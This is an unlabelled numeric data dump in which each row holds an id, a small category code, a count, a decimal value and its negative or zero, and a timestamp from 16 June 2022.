+41756,1,11708,14.53724781,-14.53724781,2022-06-16 13:07:05.571736+00 +47801,4,12784,0.605429398,0,2022-06-16 13:40:12.541814+00 +36350,4,10744,8.081844889,-8.081844889,2022-06-16 12:39:05.689908+00 +37113,2,10986,5.580979928,-5.580979928,2022-06-16 12:43:23.194944+00 +37127,4,10784,6.115069915,-6.115069915,2022-06-16 12:43:28.902529+00 +48989,6,13037,0.995345318,-0.995345318,2022-06-16 13:46:54.131051+00 +36356,3,10864,2.632371325,0,2022-06-16 12:39:06.081734+00 +56621,1,14336,0.810977921,-0.810977921,2022-06-16 14:28:09.006928+00 +39954,3,11197,6.726141376,-6.726141376,2022-06-16 12:58:35.089115+00 +37467,1,11007,3.443867206,-3.443867206,2022-06-16 12:45:29.437339+00 +37468,1,11071,3.435346679,-3.435346679,2022-06-16 12:45:29.440585+00 +49231,3,13039,8.447557666,-8.447557666,2022-06-16 13:48:06.771024+00 +40081,2,11503,4.588466009,-4.588466009,2022-06-16 12:59:05.452366+00 +37628,1,11135,3.437961938,-3.437961938,2022-06-16 12:46:23.434336+00 +37629,1,11119,4.394231274,-4.394231274,2022-06-16 12:46:23.437575+00 +37630,1,11134,3.028827116,-3.028827116,2022-06-16 12:46:23.438396+00 +37631,1,11118,3.894508479,-3.894508479,2022-06-16 12:46:23.439225+00 +37653,1,11042,14.54075536,-14.54075536,2022-06-16 12:46:26.409798+00 +37654,1,11050,6.300561411,-6.300561411,2022-06-16 12:46:26.411048+00 +40082,2,11518,3.572515228,-3.572515228,2022-06-16 12:59:05.456182+00 +37697,1,11066,14.55865277,-14.55865277,2022-06-16 12:46:41.410263+00 +37698,1,11034,14.39519154,-14.39519154,2022-06-16 12:46:41.411449+00 +49232,3,13103,8.393801857,-8.393801857,2022-06-16 13:48:06.774983+00 +43109,2,11951,4.219072119,-4.219072119,2022-06-16 13:13:05.427969+00 +56622,1,14398,1.434465777,-1.434465777,2022-06-16 14:28:09.010102+00 +43179,3,11952,2.660123025,0,2022-06-16 13:13:44.316104+00 +56623,1,14320,0.451957823,0,2022-06-16 14:28:09.011045+00 +56624,1,14366,4.924353909,-4.924353909,2022-06-16 14:28:09.012065+00 +53102,6,13717,5.967854493,-5.967854493,2022-06-16 14:08:29.62111+00 +60182,2,14815,7.36689035,-7.36689035,2022-06-16 14:43:05.778855+00 +49711,6,13141,6.777490726,-6.777490726,2022-06-16 13:50:38.316862+00 +53269,2,13759,2.274366876,-2.274366876,2022-06-16 14:09:05.981928+00 +53270,2,13674,2.833723358,-2.833723358,2022-06-16 14:09:05.985195+00 +64428,6,15325,3.916514728,-3.916514728,2022-06-16 14:58:31.070879+00 +40776,6,11597,11.98662456,-11.98662456,2022-06-16 13:02:31.516371+00 +64467,6,15319,18.74497411,-18.74497411,2022-06-16 14:58:37.773035+00 +50123,2,13168,1.823225944,0,2022-06-16 13:53:04.971893+00 +57255,4,14232,7.90724822,-7.90724822,2022-06-16 14:30:42.425637+00 +40922,4,11562,7.190446305,-7.190446305,2022-06-16 13:03:18.001093+00 +53792,2,13854,7.294735244,-7.294735244,2022-06-16 14:13:05.409817+00 +47334,1,12512,4.927171293,-4.927171293,2022-06-16 13:37:50.769889+00 +38673,4,11310,4.189533222,-4.189533222,2022-06-16 12:52:09.37878+00 +38674,4,11294,7.070223475,-7.070223475,2022-06-16 12:52:09.382699+00 +38675,4,11326,3.281207192,-3.281207192,2022-06-16 12:52:09.383744+00 +41099,3,11695,10.84148627,-10.84148627,2022-06-16 13:04:07.867253+00 +47444,6,12781,1.197268285,-1.197268285,2022-06-16 13:38:11.003787+00 +38796,6,11325,2.02835305,-2.02835305,2022-06-16 12:52:42.048888+00 +38809,1,11327,3.280921439,-3.280921439,2022-06-16 12:52:50.463245+00 +38810,1,11311,4.201046427,-4.201046427,2022-06-16 12:52:50.464423+00 +41163,6,11709,1.835957586,-1.835957586,2022-06-16 13:04:18.068409+00 +41182,6,11694,6.292016662,-6.292016662,2022-06-16 13:04:24.169712+00 +47498,1,12691,8.784758633,-8.784758633,2022-06-16 13:38:17.759472+00 +47511,2,12717,4.014272114,-4.014272114,2022-06-16 13:38:24.428668+00 +57605,1,14460,11.01992628,-11.01992628,2022-06-16 14:32:12.011707+00 +44669,2,12202,4.215620357,-4.215620357,2022-06-16 13:20:57.925858+00 +47584,1,12765,9.497810124,-9.497810124,2022-06-16 13:38:59.795467+00 +44710,2,12222,3.147997813,-3.147997813,2022-06-16 13:21:05.587763+00 +41331,2,11711,3.464066952,-3.464066952,2022-06-16 13:05:05.36347+00 +41332,2,11694,4.416036515,-4.416036515,2022-06-16 13:05:05.366776+00 +47618,2,12798,2.788702783,-2.788702783,2022-06-16 13:39:06.001549+00 +57606,1,14444,11.27664743,-11.27664743,2022-06-16 14:32:12.015131+00 +47648,2,12715,4.510401205,-4.510401205,2022-06-16 13:39:19.461001+00 +39024,6,11357,6.68032769,-6.68032769,2022-06-16 12:54:07.621061+00 +39040,1,11299,20.94961846,-20.94961846,2022-06-16 12:54:11.462911+00 +39041,1,11328,1.340188767,-1.340188767,2022-06-16 12:54:11.464185+00 +57637,1,14426,9.794023871,-9.794023871,2022-06-16 14:32:14.982507+00 +39043,1,11291,6.72747278,-6.72747278,2022-06-16 12:54:11.465151+00 +39044,1,11315,13.3979753,-13.3979753,2022-06-16 12:54:11.466036+00 +39045,1,11312,0.560973149,0,2022-06-16 12:54:11.46692+00 +39046,1,11307,2.776241896,-2.776241896,2022-06-16 12:54:11.46771+00 +39047,1,11323,2.410555336,-2.410555336,2022-06-16 12:54:11.468415+00 +50584,2,13310,2.479471407,-2.479471407,2022-06-16 13:55:05.886334+00 +39083,4,11221,11.00977231,-11.00977231,2022-06-16 12:54:13.11988+00 +39084,4,11285,10.96916999,-10.96916999,2022-06-16 12:54:13.121081+00 +47726,3,12798,7.997588164,-7.997588164,2022-06-16 13:40:03.906884+00 +57638,1,14441,4.142421644,-4.142421644,2022-06-16 14:32:14.983706+00 +39116,2,11309,5.002560047,-5.002560047,2022-06-16 12:54:24.418495+00 +54383,2,14014,2.145442094,-2.145442094,2022-06-16 14:17:05.922824+00 +57639,1,14425,4.18744835,-4.18744835,2022-06-16 14:32:14.984636+00 +47802,4,12855,10.04219873,-10.04219873,2022-06-16 13:40:12.542732+00 +47803,4,12854,10.78844835,-10.78844835,2022-06-16 13:40:12.543731+00 +39172,1,11322,14.11135519,-14.11135519,2022-06-16 12:54:56.489327+00 +39173,1,11290,13.86549924,-13.86549924,2022-06-16 12:54:56.493512+00 +39174,1,11320,7.373560319,-7.373560319,2022-06-16 12:54:56.49436+00 +47804,4,12846,2.505476081,-2.505476081,2022-06-16 13:40:12.544556+00 +47805,4,12862,1.962678085,-1.962678085,2022-06-16 13:40:12.545343+00 +41577,4,11541,10.42350584,-10.42350584,2022-06-16 13:06:14.77369+00 +39209,2,11312,1.684138186,0,2022-06-16 12:55:04.642842+00 +41578,4,11669,10.38616269,-10.38616269,2022-06-16 13:06:14.777144+00 +39220,2,11358,7.909681369,-7.909681369,2022-06-16 12:55:04.919728+00 +45194,1,12333,2.55452723,-2.55452723,2022-06-16 13:24:11.630959+00 +41611,6,11733,8.322319669,-8.322319669,2022-06-16 13:06:26.566588+00 +45241,6,12318,10.42732107,-10.42732107,2022-06-16 13:24:23.562432+00 +39276,4,11192,8.00730615,-8.00730615,2022-06-16 12:55:13.049829+00 +47806,4,12830,5.587069309,-5.587069309,2022-06-16 13:40:12.546166+00 +47807,4,12823,13.11275672,-13.11275672,2022-06-16 13:40:12.547012+00 +47808,4,12758,13.70286643,-13.70286643,2022-06-16 13:40:12.547773+00 +47809,4,12822,13.65376137,-13.65376137,2022-06-16 13:40:12.548489+00 +41682,1,11741,10.10504787,-10.10504787,2022-06-16 13:06:53.592712+00 +41693,1,11705,6.485732375,-6.485732375,2022-06-16 13:06:56.580971+00 +41694,1,11689,6.480659994,-6.480659994,2022-06-16 13:06:56.582215+00 +41695,1,11673,6.551638905,-6.551638905,2022-06-16 13:06:56.583038+00 +41696,1,11697,7.00903051,-7.00903051,2022-06-16 13:06:56.583796+00 +41697,4,11576,7.864764924,-7.864764924,2022-06-16 13:06:59.134074+00 +47810,4,12847,2.344202768,-2.344202768,2022-06-16 13:40:12.549219+00 +47811,4,12799,1.800772798,-1.800772798,2022-06-16 13:40:12.549846+00 +47812,4,12831,5.829319176,-5.829319176,2022-06-16 13:40:12.55054+00 +47813,4,12749,13.41318632,-13.41318632,2022-06-16 13:40:12.551476+00 +47814,4,12765,6.928808629,-6.928808629,2022-06-16 13:40:12.552159+00 +39378,3,11307,8.883478117,-8.883478117,2022-06-16 12:55:45.030852+00 +50681,4,13209,9.541116034,-9.541116034,2022-06-16 13:55:49.518929+00 +41763,4,11689,12.2773697,-12.2773697,2022-06-16 13:07:06.552149+00 +36357,4,10809,14.5037582,-14.5037582,2022-06-16 12:39:06.985061+00 +36358,4,10777,14.5972488,-14.5972488,2022-06-16 12:39:06.986535+00 +36359,4,10737,15.16978132,-15.16978132,2022-06-16 12:39:06.987503+00 +36360,4,10801,15.09613514,-15.09613514,2022-06-16 12:39:06.988398+00 +36361,4,10793,14.36774202,-14.36774202,2022-06-16 12:39:12.859967+00 +52504,2,13563,3.664086711,-3.664086711,2022-06-16 14:05:14.449275+00 +45758,6,12411,2.939019637,-2.939019637,2022-06-16 13:28:05.298701+00 +49078,6,12992,4.089463209,-4.089463209,2022-06-16 13:47:15.606042+00 +49109,1,13013,11.54727161,-11.54727161,2022-06-16 13:47:23.747597+00 +40023,6,11486,10.71738802,-10.71738802,2022-06-16 12:58:54.531938+00 +37469,3,10861,6.864080966,-6.864080966,2022-06-16 12:45:31.143816+00 +43027,6,11951,5.966715318,-5.966715318,2022-06-16 13:12:39.699005+00 +36372,4,10808,8.058235944,-8.058235944,2022-06-16 12:39:14.092075+00 +43070,1,11864,7.574149432,-7.574149432,2022-06-16 13:12:56.573469+00 +43071,1,11966,2.562660894,-2.562660894,2022-06-16 13:12:56.574765+00 +43072,1,11950,3.235864736,-3.235864736,2022-06-16 13:12:56.575568+00 +36377,2,10795,6.045294729,-6.045294729,2022-06-16 12:39:14.412702+00 +49233,3,13010,21.72898888,-21.72898888,2022-06-16 13:48:08.859886+00 +49268,1,13051,1.485598043,-1.485598043,2022-06-16 13:48:17.754409+00 +49269,1,13034,3.105228317,-3.105228317,2022-06-16 13:48:17.756093+00 +36382,2,10811,5.308651149,-5.308651149,2022-06-16 12:39:14.535863+00 +49270,1,13042,11.16309287,-11.16309287,2022-06-16 13:48:17.757017+00 +49271,1,13019,5.859417919,-5.859417919,2022-06-16 13:48:17.75782+00 +38041,4,11097,13.77306875,-13.77306875,2022-06-16 12:49:04.219935+00 +46630,7,12522,6.009582741,-6.009582741,2022-06-16 13:33:37.912864+00 +38099,6,11182,7.078462262,-7.078462262,2022-06-16 12:49:12.397303+00 +36388,4,10794,8.168669454,-8.168669454,2022-06-16 12:39:22.879065+00 +49272,1,13043,11.67813938,-11.67813938,2022-06-16 13:48:17.758735+00 +49273,1,13056,0.999066541,-0.999066541,2022-06-16 13:48:17.759534+00 +49274,1,13035,1.571781808,-1.571781808,2022-06-16 13:48:17.76064+00 +40781,6,11605,8.468468969,-8.468468969,2022-06-16 13:02:36.489366+00 +43889,1,12093,3.104862582,-3.104862582,2022-06-16 13:16:50.604089+00 +40827,6,11630,6.334770007,-6.334770007,2022-06-16 13:02:53.642295+00 +43890,1,12077,2.680807909,-2.680807909,2022-06-16 13:16:50.60789+00 +36396,1,10837,13.40766709,-13.40766709,2022-06-16 12:39:29.432313+00 +40860,4,11448,7.911132439,-7.911132439,2022-06-16 13:03:04.082175+00 +38401,6,11115,4.17553827,-4.17553827,2022-06-16 12:50:49.402523+00 +38402,6,11179,4.161961992,-4.161961992,2022-06-16 12:50:49.405605+00 +49275,1,13018,10.83764827,-10.83764827,2022-06-16 13:48:17.761653+00 +36401,4,10648,8.926302094,-8.926302094,2022-06-16 12:39:33.460544+00 +49276,1,13027,19.94701979,-19.94701979,2022-06-16 13:48:17.76244+00 +38499,3,11264,5.923269568,-5.923269568,2022-06-16 12:51:12.254627+00 +38524,3,10989,6.757862944,-6.757862944,2022-06-16 12:51:25.65502+00 +49425,2,13087,8.399503915,-8.399503915,2022-06-16 13:49:05.303359+00 +53106,4,13718,13.14848527,-13.14848527,2022-06-16 14:08:30.667008+00 +38676,1,11242,5.991404241,-5.991404241,2022-06-16 12:52:11.461533+00 +38677,1,11258,14.18455539,-14.18455539,2022-06-16 12:52:11.465053+00 +38678,1,11234,14.14745771,-14.14745771,2022-06-16 12:52:11.465943+00 +38679,1,11226,13.99494362,-13.99494362,2022-06-16 12:52:11.466789+00 +38715,6,11243,4.070876724,-4.070876724,2022-06-16 12:52:18.856169+00 +38741,2,11306,5.218640599,-5.218640599,2022-06-16 12:52:21.800413+00 +49712,4,13024,5.772867063,-5.772867063,2022-06-16 13:50:39.295998+00 +41196,6,11710,5.012091693,-5.012091693,2022-06-16 13:04:24.465472+00 +47335,4,12649,10.64245555,-10.64245555,2022-06-16 13:37:52.854324+00 +36421,4,10712,8.89921547,-8.89921547,2022-06-16 12:39:41.519207+00 +38842,2,11310,4.790948387,-4.790948387,2022-06-16 12:53:04.891088+00 +41231,6,11643,3.278402384,-3.278402384,2022-06-16 13:04:41.753109+00 +47336,4,12657,11.34775709,-11.34775709,2022-06-16 13:37:52.857667+00 +57157,6,14379,2.083303195,-2.083303195,2022-06-16 14:30:21.267035+00 +57209,4,14379,0.664372725,-0.664372725,2022-06-16 14:30:25.0911+00 +57210,4,14347,13.39239345,-13.39239345,2022-06-16 14:30:25.092637+00 +41360,2,11627,5.317172708,-5.317172708,2022-06-16 13:05:14.405761+00 +47448,1,12707,20.16361233,-20.16361233,2022-06-16 13:38:11.745635+00 +38957,3,11259,7.994591853,-7.994591853,2022-06-16 12:53:44.430819+00 +38970,4,11104,6.081780587,-6.081780587,2022-06-16 12:54:00.547871+00 +38983,2,11294,7.974990681,-7.974990681,2022-06-16 12:54:05.102662+00 +47449,1,12715,1.764878856,-1.764878856,2022-06-16 13:38:11.746406+00 +36434,4,10776,8.872256083,-8.872256083,2022-06-16 12:39:49.467287+00 +41399,4,11544,8.653844919,-8.653844919,2022-06-16 13:05:23.470484+00 +44752,4,12153,11.41590854,-11.41590854,2022-06-16 13:21:30.759563+00 +39025,4,11312,0.624511742,0,2022-06-16 12:54:08.45242+00 +39026,4,11328,1.489319984,-1.489319984,2022-06-16 12:54:08.455593+00 +39027,4,11374,4.123831917,-4.123831917,2022-06-16 12:54:08.456475+00 +39028,4,11358,7.030772545,-7.030772545,2022-06-16 12:54:08.457296+00 +47450,1,12721,5.970577454,-5.970577454,2022-06-16 13:38:11.747235+00 +39050,4,11309,2.658549718,-2.658549718,2022-06-16 12:54:11.805807+00 +39051,4,11277,14.7363308,-14.7363308,2022-06-16 12:54:11.807003+00 +39052,4,11293,8.560366367,-8.560366367,2022-06-16 12:54:11.807804+00 +39053,4,11325,2.723848381,-2.723848381,2022-06-16 12:54:11.808498+00 +39054,4,11391,2.967100898,-2.967100898,2022-06-16 12:54:11.809166+00 +39055,4,11375,3.809835695,-3.809835695,2022-06-16 12:54:11.809845+00 +39056,4,11359,6.58512834,-6.58512834,2022-06-16 12:54:11.810488+00 +47451,1,12714,3.38030865,-3.38030865,2022-06-16 13:38:11.747861+00 +44870,2,12205,4.269922174,-4.269922174,2022-06-16 13:22:24.443826+00 +47452,1,12723,11.89858006,-11.89858006,2022-06-16 13:38:11.748493+00 +47453,1,12720,0.488749302,0,2022-06-16 13:38:11.749116+00 +39117,1,11168,5.535344773,-5.535344773,2022-06-16 12:54:26.489253+00 +44994,6,12237,11.57047821,-11.57047821,2022-06-16 13:23:21.539874+00 +47454,1,12722,11.43335669,-11.43335669,2022-06-16 13:38:11.750463+00 +47455,1,12736,1.026159975,-1.026159975,2022-06-16 13:38:11.751472+00 +41579,1,11688,15.6257891,-15.6257891,2022-06-16 13:06:17.567004+00 +41580,1,11682,13.19553812,-13.19553812,2022-06-16 13:06:17.570286+00 +41581,1,11690,4.896628547,-4.896628547,2022-06-16 13:06:17.571191+00 +41582,1,11698,12.99702555,-12.99702555,2022-06-16 13:06:17.571957+00 +57211,4,14363,3.847838858,-3.847838858,2022-06-16 14:30:25.093577+00 +47512,4,12699,4.270803197,-4.270803197,2022-06-16 13:38:24.904231+00 +41612,6,11758,6.230260117,-6.230260117,2022-06-16 13:06:26.573691+00 +47513,4,12683,13.45791586,-13.45791586,2022-06-16 13:38:24.907694+00 +45195,4,12269,1.828155134,-1.828155134,2022-06-16 13:24:11.769824+00 +39289,2,11323,4.900565782,-4.900565782,2022-06-16 12:55:14.604797+00 +45211,4,12266,6.43594445,-6.43594445,2022-06-16 13:24:18.384441+00 +41659,6,11773,1.89306197,-1.89306197,2022-06-16 13:06:35.387199+00 +41673,6,11691,3.717260505,-3.717260505,2022-06-16 13:06:37.27091+00 +39325,3,11392,5.795470293,-5.795470293,2022-06-16 12:55:28.047297+00 +36471,1,10720,5.908140038,-5.908140038,2022-06-16 12:40:02.408895+00 +45212,4,12056,8.458392782,-8.458392782,2022-06-16 13:24:18.387065+00 +41698,1,11669,12.64760455,-12.64760455,2022-06-16 13:06:59.568113+00 +39343,1,11391,3.239429399,-3.239429399,2022-06-16 12:55:35.463074+00 +41699,1,11733,12.59587382,-12.59587382,2022-06-16 13:06:59.571403+00 +41715,2,11696,1.720974272,0,2022-06-16 13:07:04.719087+00 +49986,4,13214,5.377425466,-5.377425466,2022-06-16 13:52:09.050451+00 +49987,4,13230,2.207650879,-2.207650879,2022-06-16 13:52:09.055132+00 +37184,3,11007,10.15152282,-10.15152282,2022-06-16 12:44:04.173851+00 +37185,3,11071,10.08507504,-10.08507504,2022-06-16 12:44:04.177328+00 +52840,2,13609,10.99771368,-10.99771368,2022-06-16 14:07:05.731463+00 +46044,4,12464,0.610705744,0,2022-06-16 13:30:08.626424+00 +46045,4,12480,1.289062234,-1.289062234,2022-06-16 13:30:08.630593+00 +36487,3,10878,10.42490708,-10.42490708,2022-06-16 12:40:04.842836+00 +36488,3,10942,10.35646317,-10.35646317,2022-06-16 12:40:04.846216+00 +46046,4,12526,2.784479677,-2.784479677,2022-06-16 13:30:08.631618+00 +40137,4,11296,6.028640966,-6.028640966,2022-06-16 12:59:29.466005+00 +46047,4,12542,2.196451251,-2.196451251,2022-06-16 13:30:08.632592+00 +37633,6,11093,9.165517582,-9.165517582,2022-06-16 12:46:24.115176+00 +46048,4,12510,5.945090709,-5.945090709,2022-06-16 13:30:08.63342+00 +37699,1,11093,13.24220817,-13.24220817,2022-06-16 12:46:47.436129+00 +36495,3,10943,10.34436296,-10.34436296,2022-06-16 12:40:04.946166+00 +37700,1,11101,10.44541171,-10.44541171,2022-06-16 12:46:47.439408+00 +37749,2,11118,5.034529011,-5.034529011,2022-06-16 12:47:05.314906+00 +37750,2,11119,4.995431598,-4.995431598,2022-06-16 12:47:05.319576+00 +49234,4,13040,0.602442542,0,2022-06-16 13:48:10.065661+00 +49235,4,13056,1.266755573,-1.266755573,2022-06-16 13:48:10.069644+00 +49236,4,13086,5.460197518,-5.460197518,2022-06-16 13:48:10.070473+00 +37875,6,11183,6.932834319,-6.932834319,2022-06-16 12:48:03.667772+00 +43550,2,11963,4.398042565,-4.398042565,2022-06-16 13:15:14.560075+00 +40473,2,11567,4.499488263,-4.499488263,2022-06-16 13:01:05.466327+00 +37976,1,11183,4.318584203,-4.318584203,2022-06-16 12:48:14.43703+00 +49237,4,13038,2.298920338,-2.298920338,2022-06-16 13:48:10.071426+00 +49238,4,13102,2.294579561,-2.294579561,2022-06-16 13:48:10.072282+00 +49239,4,13118,1.802621612,-1.802621612,2022-06-16 13:48:10.073066+00 +40597,3,11515,7.578863904,-7.578863904,2022-06-16 13:01:51.161889+00 +49240,4,13111,9.883079848,-9.883079848,2022-06-16 13:48:10.073858+00 +49241,4,13110,10.59426565,-10.59426565,2022-06-16 13:48:10.074557+00 +43891,1,12061,9.932057012,-9.932057012,2022-06-16 13:16:59.603095+00 +46739,6,12637,5.637965144,-5.637965144,2022-06-16 13:34:15.47792+00 +38368,6,11200,4.384854742,-4.384854742,2022-06-16 12:50:38.516143+00 +36515,3,10862,12.51234826,-12.51234826,2022-06-16 12:40:06.655298+00 +36516,3,10926,12.43195751,-12.43195751,2022-06-16 12:40:06.660765+00 +40783,6,11613,6.446167298,-6.446167298,2022-06-16 13:02:38.353851+00 +46756,1,12348,13.26963321,-13.26963321,2022-06-16 13:34:23.687934+00 +38439,2,11231,8.162078631,-8.162078631,2022-06-16 12:51:05.016527+00 +46757,1,12653,2.366378055,-2.366378055,2022-06-16 13:34:23.689298+00 +46758,1,12669,2.918704438,-2.918704438,2022-06-16 13:34:23.690168+00 +46759,1,12637,9.562888969,-9.562888969,2022-06-16 13:34:23.690977+00 +36523,3,10927,12.47958018,-12.47958018,2022-06-16 12:40:06.862891+00 +36524,4,10880,1.620110478,-1.620110478,2022-06-16 12:40:08.723783+00 +36525,4,10864,0.615715191,0,2022-06-16 12:40:08.727182+00 +46760,1,12412,13.21251041,-13.21251041,2022-06-16 13:34:23.691782+00 +36527,6,10893,12.45233744,-12.45233744,2022-06-16 12:40:10.862208+00 +36528,1,10873,7.444658647,-7.444658647,2022-06-16 12:40:11.444366+00 +36529,1,10841,7.525407606,-7.525407606,2022-06-16 12:40:11.448698+00 +36530,1,10941,3.758907334,-3.758907334,2022-06-16 12:40:11.449959+00 +36531,1,10849,9.285948473,-9.285948473,2022-06-16 12:40:11.450812+00 +36532,1,10857,7.41668218,-7.41668218,2022-06-16 12:40:11.451613+00 +36533,1,10925,3.643897632,-3.643897632,2022-06-16 12:40:11.452394+00 +49277,4,13034,5.508491061,-5.508491061,2022-06-16 13:48:18.147602+00 +56745,3,14331,4.149004175,-4.149004175,2022-06-16 14:28:46.163134+00 +46880,2,12608,3.592111338,-3.592111338,2022-06-16 13:35:04.898173+00 +38681,4,11245,2.703590368,-2.703590368,2022-06-16 12:52:12.203621+00 +38682,4,11261,2.795334548,-2.795334548,2022-06-16 12:52:12.206981+00 +38683,4,11213,14.79870617,-14.79870617,2022-06-16 12:52:12.207917+00 +38684,4,11229,8.664849157,-8.664849157,2022-06-16 12:52:12.208754+00 +38685,4,11231,6.656180833,-6.656180833,2022-06-16 12:52:12.20953+00 +38686,4,11295,6.636002821,-6.636002821,2022-06-16 12:52:12.21029+00 +38687,4,11311,3.849991583,-3.849991583,2022-06-16 12:52:12.211106+00 +38688,4,11327,2.994001521,-2.994001521,2022-06-16 12:52:12.211794+00 +53108,6,13725,4.840887382,-4.840887382,2022-06-16 14:08:31.802578+00 +49714,6,13149,5.255853227,-5.255853227,2022-06-16 13:50:40.247029+00 +41254,7,11434,7.083976621,-7.083976621,2022-06-16 13:04:55.485464+00 +53334,2,13673,10.86543633,-10.86543633,2022-06-16 14:10:05.239129+00 +38864,4,11241,13.28364595,-13.28364595,2022-06-16 12:53:09.739183+00 +38865,4,11225,13.37522159,-13.37522159,2022-06-16 12:53:09.742383+00 +53335,2,13681,11.68236849,-11.68236849,2022-06-16 14:10:05.242782+00 +41313,2,11648,3.855986724,-3.855986724,2022-06-16 13:05:05.058974+00 +47302,1,12693,11.82167386,-11.82167386,2022-06-16 13:37:17.766489+00 +44819,3,12207,9.832621528,-9.832621528,2022-06-16 13:22:08.225355+00 +44820,3,12271,9.769826632,-9.769826632,2022-06-16 13:22:08.228577+00 +47337,4,12576,5.927544224,-5.927544224,2022-06-16 13:37:54.11029+00 +49988,4,13246,1.720442636,-1.720442636,2022-06-16 13:52:09.056307+00 +38999,6,11349,8.810829686,-8.810829686,2022-06-16 12:54:05.521136+00 +44925,2,12254,7.8488244,-7.8488244,2022-06-16 13:23:04.980421+00 +50010,4,13162,5.382956531,-5.382956531,2022-06-16 13:52:16.492193+00 +39049,6,11323,3.513333428,-3.513333428,2022-06-16 12:54:11.518981+00 +41486,1,11640,7.071524277,-7.071524277,2022-06-16 13:05:59.596109+00 +41487,1,11608,7.788317351,-7.788317351,2022-06-16 13:05:59.599688+00 +44995,4,12217,11.36971626,-11.36971626,2022-06-16 13:23:21.853217+00 +44996,4,12185,11.45965598,-11.45965598,2022-06-16 13:23:21.857618+00 +39118,4,11283,7.209003714,-7.209003714,2022-06-16 12:54:27.813947+00 +44997,4,12209,12.08452628,-12.08452628,2022-06-16 13:23:21.858708+00 +50062,6,13246,3.517391185,-3.517391185,2022-06-16 13:52:25.761338+00 +39152,1,11305,6.927901252,-6.927901252,2022-06-16 12:54:53.489274+00 +39153,1,11297,9.600259499,-9.600259499,2022-06-16 12:54:53.492691+00 +39154,1,11321,6.907241813,-6.907241813,2022-06-16 12:54:53.493526+00 +39155,1,11289,6.984002466,-6.984002466,2022-06-16 12:54:53.494353+00 +41583,2,11754,4.664667736,-4.664667736,2022-06-16 13:06:17.767835+00 +39176,4,11064,8.043618154,-8.043618154,2022-06-16 12:54:58.444169+00 +39187,6,11328,4.309377128,-4.309377128,2022-06-16 12:54:58.753982+00 +45148,6,12301,11.51552847,-11.51552847,2022-06-16 13:24:07.608009+00 +41660,1,11775,2.974306249,-2.974306249,2022-06-16 13:06:35.589608+00 +39253,2,11390,3.720201513,-3.720201513,2022-06-16 12:55:05.519985+00 +41661,1,11759,3.843563245,-3.843563245,2022-06-16 13:06:35.592706+00 +39260,4,11321,13.13435189,-13.13435189,2022-06-16 12:55:09.970129+00 +39261,4,11313,13.92779789,-13.92779789,2022-06-16 12:55:09.971757+00 +41662,1,11711,2.96490309,-2.96490309,2022-06-16 13:06:35.593468+00 +39290,4,11306,7.510634671,-7.510634671,2022-06-16 12:55:18.89583+00 +47649,4,12600,7.53435407,-7.53435407,2022-06-16 13:39:23.776553+00 +53793,1,13779,7.707743564,-7.707743564,2022-06-16 14:13:08.895147+00 +41700,4,11673,12.45119244,-12.45119244,2022-06-16 13:07:00.747967+00 +41701,4,11705,12.30674692,-12.30674692,2022-06-16 13:07:00.751474+00 +36534,4,10926,4.722836215,-4.722836215,2022-06-16 12:40:12.303159+00 +36535,4,10942,3.678028205,-3.678028205,2022-06-16 12:40:12.304748+00 +36536,4,10861,3.073210489,-3.073210489,2022-06-16 12:40:12.306824+00 +36537,4,10829,15.20993781,-15.20993781,2022-06-16 12:40:12.307845+00 +36538,4,10877,3.157689526,-3.157689526,2022-06-16 12:40:12.308843+00 +36539,4,10845,9.161479017,-9.161479017,2022-06-16 12:40:12.30979+00 +36540,4,10927,4.354667952,-4.354667952,2022-06-16 12:40:12.310729+00 +36541,4,10943,3.372030178,-3.372030178,2022-06-16 12:40:12.311649+00 +39745,6,11422,10.74727027,-10.74727027,2022-06-16 12:57:31.169428+00 +37258,6,11003,3.750401593,-3.750401593,2022-06-16 12:44:11.406409+00 +36546,1,10792,16.53161445,-16.53161445,2022-06-16 12:40:14.432752+00 +36547,1,10728,16.4770376,-16.4770376,2022-06-16 12:40:14.436138+00 +56746,7,14383,17.03961657,-17.03961657,2022-06-16 14:28:46.372996+00 +49242,1,13033,5.161582119,-5.161582119,2022-06-16 13:48:11.77321+00 +49243,1,13040,0.473672412,0,2022-06-16 13:48:11.776578+00 +37565,3,11119,12.15086965,-12.15086965,2022-06-16 12:46:07.173147+00 +36553,6,10901,9.402729018,-9.402729018,2022-06-16 12:40:15.873359+00 +36554,1,10909,10.49075316,-10.49075316,2022-06-16 12:40:17.446489+00 +36555,1,10858,6.838126327,-6.838126327,2022-06-16 12:40:17.449806+00 +36556,1,10850,14.89493932,-14.89493932,2022-06-16 12:40:17.450652+00 +36557,1,10874,14.94369299,-14.94369299,2022-06-16 12:40:17.451458+00 +36558,1,10842,14.81452524,-14.81452524,2022-06-16 12:40:17.452228+00 +36560,6,10909,7.034058641,-7.034058641,2022-06-16 12:40:17.782672+00 +49244,1,13017,5.218768499,-5.218768499,2022-06-16 13:48:11.777427+00 +49245,1,13041,5.757928482,-5.757928482,2022-06-16 13:48:11.778226+00 +37701,1,11072,1.444872981,-1.444872981,2022-06-16 12:46:50.438378+00 +36565,6,10835,13.74284601,-13.74284601,2022-06-16 12:40:18.308055+00 +46452,1,12589,2.434518406,-2.434518406,2022-06-16 13:32:32.716383+00 +43417,2,11949,4.41998728,-4.41998728,2022-06-16 13:14:24.421583+00 +46453,1,12605,2.930332656,-2.930332656,2022-06-16 13:32:32.719768+00 +46454,1,12573,9.598289583,-9.598289583,2022-06-16 13:32:32.720645+00 +40475,2,11582,3.505926285,-3.505926285,2022-06-16 13:01:05.499674+00 +36572,6,10864,1.889521871,0,2022-06-16 12:40:18.527775+00 +46481,4,12529,11.51943367,-11.51943367,2022-06-16 13:32:42.513793+00 +46495,1,12536,6.446169381,-6.446169381,2022-06-16 13:32:50.685633+00 +36575,6,10859,4.401989622,-4.401989622,2022-06-16 12:40:18.608067+00 +46496,1,12574,6.113365571,-6.113365571,2022-06-16 13:32:50.686752+00 +49640,6,13166,4.520455909,-4.520455909,2022-06-16 13:50:21.948135+00 +36582,6,10880,4.668145121,-4.668145121,2022-06-16 12:40:18.74766+00 +40830,6,11646,5.005349799,-5.005349799,2022-06-16 13:02:53.792827+00 +49641,6,13167,4.725059666,-4.725059666,2022-06-16 13:50:21.951373+00 +38441,2,11246,4.863636191,-4.863636191,2022-06-16 12:51:05.047714+00 +36587,6,10875,3.839727992,-3.839727992,2022-06-16 12:40:18.810662+00 +44084,3,12027,6.802177907,-6.802177907,2022-06-16 13:18:00.790222+00 +49781,2,13104,1.825836052,0,2022-06-16 13:51:05.000646+00 +44250,6,12080,1.971411055,0,2022-06-16 13:18:46.58041+00 +47103,3,12651,6.873391365,-6.873391365,2022-06-16 13:36:13.028141+00 